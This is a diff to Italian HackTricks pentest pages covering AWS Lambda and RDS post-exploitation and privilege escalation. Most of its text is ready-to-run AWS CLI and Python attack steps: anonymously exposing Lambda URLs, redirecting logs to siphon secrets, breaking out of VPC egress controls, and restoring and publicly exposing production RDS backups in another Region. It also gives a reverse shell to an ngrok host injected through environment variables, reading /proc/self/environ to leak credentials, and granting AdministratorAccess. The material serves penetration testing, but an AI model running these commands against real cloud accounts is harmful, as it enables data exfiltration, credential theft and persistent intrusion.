+1) Assicurati che la function abbia un Function URL (di default AWS_IAM):
+```
+aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
+```
+
+2) Imposta l'URL come pubblico (AuthType NONE):
+```
+aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
+```
+
+3) Aggiungi una statement nella resource-based policy per permettere principals non autenticati:
+```
+aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
+```
+
+4) Recupera l'URL e invoca senza credenziali:
+```
+URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
+curl -sS "$URL"
+```
+
+### Impatto
+- La Lambda function diventa accessibile in modo anonimo via internet.
+
+### Esempio di output (200 non autenticato)
+```
+HTTP 200
+https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
+{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
+```
+### Pulizia
+```
+aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
+aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md
new file mode 100644
index 000000000..5cb0d6d98
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md
@@ -0,0 +1,51 @@
+# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Sfrutta i controlli avanzati di logging di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una funzione verso un CloudWatch Logs log group scelto dall'attaccante. Questo funziona senza modificare il codice o il ruolo di esecuzione (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la funzione stampa secrets/request bodies o va in crash con stack traces, puoi raccoglierli dal nuovo log group.
+
+## Permessi richiesti
+- lambda:UpdateFunctionConfiguration
+- lambda:GetFunctionConfiguration
+- lambda:InvokeFunction (o affidarsi ai trigger esistenti)
+- logs:CreateLogGroup (spesso non necessario se il ruolo della funzione lo ha)
+- logs:FilterLogEvents (per leggere gli eventi)
+
+## Passaggi
+1) Crea un log group di destinazione
+```
+aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
+```
+2) Reindirizzare i log della funzione target
+```
+aws lambda update-function-configuration \
+--function-name \
+--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
+--region us-east-1
+```
+Attendi fino a quando `LastUpdateStatus` diventa `Successful`:
+```
+aws lambda get-function-configuration --function-name \
+--query LastUpdateStatus --output text
+```
+3) Invocare e leggere dal sink
+```
+aws lambda invoke --function-name /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
+sleep 5
+aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
+```
+## Impact
+- Reindirizzare di nascosto tutti i log dell'applicazione/sistema verso un log group sotto il tuo controllo, aggirando l'aspettativa che i log finiscano solo in `/aws/lambda/`.
+- Esfiltrare dati sensibili stampati dalla funzione o emersi negli errori.
+
+## Cleanup
+```
+aws lambda update-function-configuration --function-name \
+--logging-config LogGroup=/aws/lambda/,LogFormat=Text,ApplicationLogLevel=INFO \
+--region us-east-1 || true
+```
+## Note
+- I controlli di logging fanno parte del `LoggingConfig` di Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
+- Per impostazione predefinita, Lambda invia i log a `/aws/lambda/`, ma puoi indicare qualsiasi nome di log group; Lambda (o il ruolo di esecuzione) lo creerà se consentito.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
new file mode 100644
index 000000000..6e9e2fb5a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
@@ -0,0 +1,12 @@
+# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
+
+Abusa di `lambda:PutRuntimeManagementConfig` per fissare una funzione a una versione specifica del runtime (Manual) o per congelare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con malicious layers/wrappers e può mantenere la funzione su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.
+
+Requisiti: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
+
+Esempio (us-east-1):
+- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
+- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
+- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
+
+Opzionalmente puoi fissare una versione specifica del runtime estraendo la Runtime Version ARN dai log INIT_START e usando `--update-runtime-on Manual --runtime-version-arn `.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
new file mode 100644
index 000000000..9daead3f0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
@@ -0,0 +1,63 @@
+# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
+
+Forza una funzione Lambda fuori da una VPC con restrizioni aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La funzione verrà eseguita nel piano di rete gestito da Lambda, riconquistando l'accesso Internet in uscita e bypassando i controlli di egress applicati da subnet VPC private senza NAT.
+
+## Uso abusivo
+
+- Requisiti: lambda:UpdateFunctionConfiguration sulla funzione target (e lambda:InvokeFunction per validare), più i permessi per aggiornare code/handler se li si modifica.
+- Assunzioni: la funzione è attualmente configurata con VpcConfig che punta a subnet private senza NAT (quindi l'accesso Internet in uscita è bloccato).
+- Regione: us-east-1
+
+### Passaggi
+
+0) Prepara un handler minimale che dimostri che l'HTTP in uscita funziona
+
+cat > net.py <<'PY'
+import urllib.request, json
+
+def lambda_handler(event, context):
+try:
+ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
+return {"egress": True, "ip": ip}
+except Exception as e:
+return {"egress": False, "err": str(e)}
+PY
+zip net.zip net.py
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
+aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
+
+1) Registra la configurazione VPC corrente (per ripristinarla dopo se necessario)
+
+aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
+cat /tmp/orig-vpc.json
+
+2) Scollega la VPC impostando liste vuote
+
+aws lambda update-function-configuration \
+--function-name $TARGET_FN \
+--vpc-config SubnetIds=[],SecurityGroupIds=[] \
+--region $REGION
+until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+
+3) Invoca e verifica l'accesso in uscita
+
+aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
+cat /tmp/net-out.json
+
+(Optional) Ripristina la configurazione VPC originale
+
+if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
+SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
+aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
+fi
+
+### Impatto
+- Ripristina l'accesso Internet in uscita senza restrizioni dalla funzione, consentendo esfiltrazione di dati o C2 da workload che erano stati intenzionalmente isolati in subnet private senza NAT.
+
+### Example output (after detaching VpcConfig)
+
+{"egress": true, "ip": "34.x.x.x"}
+
+### Pulizia
+- Se hai creato modifiche temporanee a code/handler, ripristinale.
+- Facoltativamente ripristina il VpcConfig originale salvato in /tmp/orig-vpc.json come mostrato sopra.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 8d8b8b447..8f9db933b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -4,7 +4,7 @@
## RDS
-Per ulteriori informazioni controlla:
+Per maggiori informazioni consulta:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Per ulteriori informazioni controlla:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
-Se l'attaccante ha abbastanza permessi, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi un DB accessibile pubblicamente dallo snapshot.
+Se l'attaccante ha i permessi necessari, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi ripristinando un DB accessibile pubblicamente dallo snapshot.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
-Un attaccante con questi permessi potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot.
+Un attacker con questi permessi potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB a partire da quello snapshot.
-Se l'attaccante **non ha il `rds:CreateDBSnapshot`**, potrebbe comunque rendere **pubblici** **altri** snapshot creati.
+Se l'attacker **non ha il `rds:CreateDBSnapshot`**, può comunque rendere **altri** snapshot creati **pubblici**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier --
```
### `rds:DownloadDBLogFilePortion`
-Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono accidentalmente registrati, l'attaccante potrebbe potenzialmente utilizzare queste informazioni per aumentare i propri privilegi o eseguire azioni non autorizzate.
+Un attacker con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati accidentalmente nei log, l'attacker potrebbe potenzialmente usare queste informazioni per elevare i propri privilegi o eseguire azioni non autorizzate.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
-**Impatto Potenziale**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando credenziali compromesse.
+**Impatto potenziale**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando leaked credentials.
### `rds:DeleteDBInstance`
@@ -66,17 +66,101 @@ Un attaccante con questi permessi può **DoS le istanze RDS esistenti**.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
-**Impatto potenziale**: Cancellazione delle istanze RDS esistenti e potenziale perdita di dati.
+**Impatto potenziale**: Eliminazione di istanze RDS esistenti e possibile perdita di dati.
### `rds:StartExportTask`
> [!NOTE]
-> TODO: Test
+> TODO: Da testare
-Un attaccante con questo permesso può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo sul bucket S3 di destinazione, può potenzialmente accedere a dati sensibili all'interno dello snapshot esportato.
+Un attaccante con questa autorizzazione può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante controlla il bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato.
+### Replica cross-Region dei backup automatici per un ripristino furtivo (`rds:StartDBInstanceAutomatedBackupsReplication`)
+
+Abusa della replica cross-Region dei backup automatici per duplicare silenziosamente i backup automatici di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato accessibile pubblicamente e reimpostare la password master per accedere ai dati out-of-band in una Region che i difensori potrebbero non monitorare.
+
+Permessi necessari (minimi):
+- `rds:StartDBInstanceAutomatedBackupsReplication` nella Region di destinazione
+- `rds:DescribeDBInstanceAutomatedBackups` nella Region di destinazione
+- `rds:RestoreDBInstanceToPointInTime` nella Region di destinazione
+- `rds:ModifyDBInstance` nella Region di destinazione
+- `rds:StopDBInstanceAutomatedBackupsReplication` (pulizia opzionale)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato)
+
+Impatto: Persistenza ed esfiltrazione dei dati ripristinando una copia dei dati di produzione in un'altra Region e esponendola pubblicamente con credenziali controllate dall'attaccante.
+
+
+CLI end-to-end (sostituire i segnaposto)
+```bash
+# 1) Recon (SOURCE region A)
+aws rds describe-db-instances \
+--region \
+--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
+--output table
+
+# 2) Start cross-Region automated backups replication (run in DEST region B)
+aws rds start-db-instance-automated-backups-replication \
+--region \
+--source-db-instance-arn \
+--source-region \
+--backup-retention-period 7
+
+# 3) Wait for replication to be ready in DEST
+aws rds describe-db-instance-automated-backups \
+--region \
+--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
+--output table
+# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
+
+# 4) Restore to latest restorable time in DEST
+aws rds restore-db-instance-to-point-in-time \
+--region \
+--source-db-instance-automated-backups-arn \
+--target-db-instance-identifier \
+--use-latest-restorable-time \
+--db-instance-class db.t3.micro
+aws rds wait db-instance-available --region --db-instance-identifier
+
+# 5) Make public and reset credentials in DEST
+# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
+OPEN_SG_ID=$(aws ec2 create-security-group --region \
+--group-name open-rds- --description open --vpc-id \
+--query GroupId --output text)
+aws ec2 authorize-security-group-ingress --region \
+--group-id "$OPEN_SG_ID" \
+--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
+
+# 5b) Publicly expose restored DB and attach the SG
+aws rds modify-db-instance --region \
+--db-instance-identifier \
+--publicly-accessible \
+--vpc-security-group-ids "$OPEN_SG_ID" \
+--apply-immediately
+aws rds wait db-instance-available --region --db-instance-identifier
+
+# 5c) Reset the master password
+aws rds modify-db-instance --region \
+--db-instance-identifier \
+--master-user-password '' \
+--apply-immediately
+aws rds wait db-instance-available --region --db-instance-identifier
+
+# 6) Connect to endpoint and validate data (example for MySQL)
+ENDPOINT=$(aws rds describe-db-instances --region \
+--db-instance-identifier \
+--query 'DBInstances[0].Endpoint.Address' --output text)
+mysql -h "$ENDPOINT" -u -p'' -e 'SHOW DATABASES;'
+
+# 7) Optional: stop replication
+aws rds stop-db-instance-automated-backups-replication \
+--region \
+--source-db-instance-arn
+```
+
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index dce43fa74..6758b1b25 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -4,7 +4,7 @@
## lambda
-Maggiore informazione su lambda in:
+Maggiori informazioni su lambda in:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -12,11 +12,11 @@ Maggiore informazione su lambda in:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
-Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** possono elevare i loro privilegi.\
-Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice su questa funzione Lambda (con una rev shell per esempio)**.\
-Una volta configurata la funzione, l'utente può **attivare la sua esecuzione** e le azioni previste invocando la funzione Lambda tramite l'API AWS. Questo approccio consente effettivamente all'utente di eseguire compiti indirettamente attraverso la funzione Lambda, operando con il livello di accesso concesso al ruolo IAM associato ad essa.\\
+Gli utenti con le autorizzazioni **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** possono ottenere un'escalation dei privilegi.\
+Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice in questa funzione Lambda (ad esempio con una rev shell)**.\
+Una volta impostata la funzione, l'utente può **avviarne l'esecuzione** e le azioni previste invocando la funzione Lambda tramite l'API AWS. Questo metodo consente all'utente di eseguire compiti indirettamente tramite la funzione Lambda, agendo con il livello di accesso concesso dal ruolo IAM associato.\\
-Un attaccante potrebbe abusare di questo per ottenere una **rev shell e rubare il token**:
+Un attaccante potrebbe abusarne per ottenere una **rev shell e rubare il token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name
```
-Puoi anche **abusare dei permessi del ruolo lambda** dalla funzione lambda stessa.\
-Se il ruolo lambda avesse abbastanza permessi, potresti usarlo per concederti diritti di amministratore:
+Potresti anche **abuse the lambda role permissions** dalla lambda function stessa.\
+Se la lambda role avesse abbastanza permissions potresti usarla per concederti admin rights:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
-È anche possibile leakare le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Network isolated Lambdas** utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shells, questo pezzo di codice ti permetterà di leakare direttamente le credenziali come output della lambda.
+È anche possibile ottenere un leak delle credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Network isolated Lambdas** usate per attività interne. Se ci sono security groups sconosciuti che filtrano i tuoi reverse shells, questo pezzo di codice ti permetterà di effettuare il leak delle credenziali direttamente come output della lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
aws lambda invoke --function-name output.txt
cat output.txt
```
-**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.
+**Potential Impact:** Direct privesc al ruolo di servizio lambda arbitrario specificato.
> [!CAUTION]
-> Nota che anche se potrebbe sembrare interessante **`lambda:InvokeAsync`** **non** consente da solo di **eseguire `aws lambda invoke-async`**, hai anche bisogno di `lambda:InvokeFunction`
+> Nota che, anche se può sembrare interessante, **`lambda:InvokeAsync`** **non** permette da solo di **eseguire `aws lambda invoke-async`**, è necessario anche `lambda:InvokeFunction`
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
-Come nel scenario precedente, puoi **concederti il permesso `lambda:InvokeFunction`** se hai il permesso **`lambda:AddPermission`**
+Come nello scenario precedente, puoi **concederti il permesso `lambda:InvokeFunction`** se hai il permesso **`lambda:AddPermission`**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
-**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.
+**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
-Gli utenti con permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalare i privilegi** anche senza `lambda:InvokeFunction`.\
+Gli utenti con le autorizzazioni **`iam:PassRole`, `lambda:CreateFunction`, e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalate privileges** anche senza `lambda:InvokeFunction`.\
Possono creare una **funzione Lambda con codice malevolo e assegnarle un ruolo IAM esistente**.
-Invece di invocare direttamente la Lambda, l'utente configura o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite una mappatura della sorgente evento. Questa configurazione garantisce che la funzione Lambda venga **attivata automaticamente all'inserimento di un nuovo elemento** nella tabella, sia per azione dell'utente che per un altro processo, attivando così indirettamente la funzione Lambda ed eseguendo il codice con i permessi del ruolo IAM passato.
+Invece di invocare direttamente la Lambda, l'utente crea o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite un event source mapping. Questa configurazione assicura che la funzione Lambda venga **attivata automaticamente all'inserimento di un nuovo item** nella tabella, sia tramite l'azione dell'utente sia tramite un altro processo, invocando così indirettamente la funzione Lambda ed eseguendo il codice con le autorizzazioni del ruolo IAM passato.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo **stabilire il mapping della sorgente eventi** per la funzione Lambda. Tuttavia, se DynamoDB non è in uso, l'utente deve **creare una nuova tabella** con lo streaming abilitato:
+Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo **configurare l'event source mapping** per la funzione Lambda. Tuttavia, se DynamoDB non è in uso, l'utente deve **creare una nuova tabella** con lo streaming abilitato:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
-Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando un **mapping della sorgente evento**:
+Ora è possibile **collegare la Lambda function alla DynamoDB table** creando **un event source mapping**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn \
--enabled --starting-position LATEST
```
-Con la funzione Lambda collegata al flusso DynamoDB, l'attaccante può **attivare indirettamente la Lambda attivando il flusso DynamoDB**. Questo può essere realizzato **inserendo un elemento** nella tabella DynamoDB:
+Con la funzione Lambda collegata allo stream di DynamoDB, l'attaccante può **attivare indirettamente la Lambda attivando lo stream di DynamoDB**. Questo può essere fatto **inserendo un item** nella tabella DynamoDB:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
-**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda specificato.
+**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda specificato.
### `lambda:AddPermission`
-Un attaccante con questo permesso può **concedere a se stesso (o ad altri) qualsiasi permesso** (questo genera politiche basate sulle risorse per concedere accesso alla risorsa):
+Un attacker con questo permesso può **concedersi (o concedere ad altri) qualsiasi permesso** (questo genera resource based policies per concedere accesso alla risorsa):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn:
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name /tmp/outout
```
-**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato concedendo il permesso di modificare il codice e eseguirlo.
+**Impatto potenziale:** Direct privesc al ruolo di servizio lambda ottenuto concedendo il permesso di modificare il codice e di eseguirlo.
### `lambda:AddLayerVersionPermission`
-Un attaccante con questo permesso può **concedere a se stesso (o ad altri) il permesso `lambda:GetLayerVersion`**. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili.
+Un attacker con questo permesso può **concedersi (o concedere ad altri) il permesso `lambda:GetLayerVersion`**. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
-**Impatto Potenziale:** Accesso potenziale a informazioni sensibili.
+**Potential Impact:** Potenziale accesso a informazioni sensibili.
### `lambda:UpdateFunctionCode`
-Gli utenti che detengono il permesso **`lambda:UpdateFunctionCode`** hanno il potenziale di **modificare il codice di una funzione Lambda esistente collegata a un ruolo IAM.**\
-L'attaccante può **modificare il codice della lambda per esfiltrare le credenziali IAM**.
+Gli utenti che possiedono il permesso **`lambda:UpdateFunctionCode`** possono **modificare il codice di una funzione Lambda esistente associata a un ruolo IAM.**\
+L'attaccante può **modificare il codice della Lambda per exfiltrate the IAM credentials**.
-Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è preesistente e operativa, è probabile che venga attivata attraverso flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
+Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è già esistente e operativa, è probabile che venga attivata tramite workflow o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
-**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato.
+**Impatto potenziale:** privesc diretto al ruolo di servizio lambda utilizzato.
### `lambda:UpdateFunctionConfiguration`
#### RCE tramite variabili d'ambiente
-Con questi permessi è possibile aggiungere variabili d'ambiente che causeranno l'esecuzione di codice arbitrario da parte della Lambda. Ad esempio, in python è possibile abusare delle variabili d'ambiente `PYTHONWARNING` e `BROWSER` per far eseguire a un processo python comandi arbitrari:
+Con questi permessi è possibile aggiungere variabili d'ambiente che provocheranno l'esecuzione della Lambda di codice arbitrario. Ad esempio, in python è possibile abusare delle variabili d'ambiente `PYTHONWARNING` e `BROWSER` per far eseguire a un processo python comandi arbitrari:
```bash
aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
-Per altri linguaggi di scripting ci sono altre variabili d'ambiente che puoi utilizzare. Per ulteriori informazioni controlla le sottosezioni dei linguaggi di scripting in:
+Per altri linguaggi di scripting ci sono altre variabili d'ambiente che puoi usare. Per maggiori informazioni consulta le sottosezioni sui linguaggi di scripting in:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
-#### RCE tramite Lambda Layers
+#### RCE via Lambda Layers
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) consente di includere **codice** nella tua funzione lambda ma **memorizzandolo separatamente**, in modo che il codice della funzione possa rimanere piccolo e **diverse funzioni possano condividere codice**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permette di includere **code** nella tua funzione lambda ma **conservarlo separatamente**, così il code della funzione può restare piccolo e **più funzioni possono condividere code**.
-All'interno di lambda puoi controllare i percorsi da cui viene caricato il codice python con una funzione come la seguente:
+All'interno di lambda puoi controllare i percorsi da cui viene caricato il python code con una funzione come la seguente:
```python
import json
import sys
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
-Questi sono i luoghi:
+Questi sono i percorsi:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -198,53 +198,53 @@ Questi sono i luoghi:
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
-Ad esempio, la libreria boto3 è caricata da `/var/runtime/boto3` (4ª posizione).
+Per esempio, la libreria boto3 viene caricata da `/var/runtime/boto3` (4th position).
-#### Sfruttamento
+#### Exploitation
